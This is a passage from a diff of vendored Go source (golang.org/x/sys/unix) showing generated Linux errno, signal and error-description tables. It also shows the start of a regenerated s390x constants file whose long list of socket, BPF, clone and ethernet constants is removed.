-+ EPROTOTYPE = syscall.Errno(0x5b)
-+ EREMCHG = syscall.Errno(0x4e)
-+ EREMOTE = syscall.Errno(0x42)
-+ EREMOTEIO = syscall.Errno(0x79)
-+ ERESTART = syscall.Errno(0x55)
-+ ERFKILL = syscall.Errno(0x84)
-+ ESHUTDOWN = syscall.Errno(0x6c)
-+ ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-+ ESRMNT = syscall.Errno(0x45)
-+ ESTALE = syscall.Errno(0x74)
-+ ESTRPIPE = syscall.Errno(0x56)
-+ ETIME = syscall.Errno(0x3e)
-+ ETIMEDOUT = syscall.Errno(0x6e)
-+ ETOOMANYREFS = syscall.Errno(0x6d)
-+ EUCLEAN = syscall.Errno(0x75)
-+ EUNATCH = syscall.Errno(0x31)
-+ EUSERS = syscall.Errno(0x57)
-+ EXFULL = syscall.Errno(0x36)
-+)
-+
-+// Signals
-+const (
-+ SIGBUS = syscall.Signal(0x7)
-+ SIGCHLD = syscall.Signal(0x11)
-+ SIGCLD = syscall.Signal(0x11)
-+ SIGCONT = syscall.Signal(0x12)
-+ SIGIO = syscall.Signal(0x1d)
-+ SIGPOLL = syscall.Signal(0x1d)
-+ SIGPROF = syscall.Signal(0x1b)
-+ SIGPWR = syscall.Signal(0x1e)
-+ SIGSTKFLT = syscall.Signal(0x10)
-+ SIGSTOP = syscall.Signal(0x13)
-+ SIGSYS = syscall.Signal(0x1f)
-+ SIGTSTP = syscall.Signal(0x14)
-+ SIGTTIN = syscall.Signal(0x15)
-+ SIGTTOU = syscall.Signal(0x16)
-+ SIGURG = syscall.Signal(0x17)
-+ SIGUSR1 = syscall.Signal(0xa)
-+ SIGUSR2 = syscall.Signal(0xc)
-+ SIGVTALRM = syscall.Signal(0x1a)
-+ SIGWINCH = syscall.Signal(0x1c)
-+ SIGXCPU = syscall.Signal(0x18)
-+ SIGXFSZ = syscall.Signal(0x19)
-+)
-+
-+// Error table
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
-+}
-+
-+// Signal table
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go
-index 3b570754..95e950fc 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go
-@@ -3,7 +3,7 @@
-
- // +build s390x,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include -fsigned-char _const.go
-
- package unix
-@@ -11,1930 +11,547 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80081270
-- BLKBSZSET = 0x40081271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80081272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0x5
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
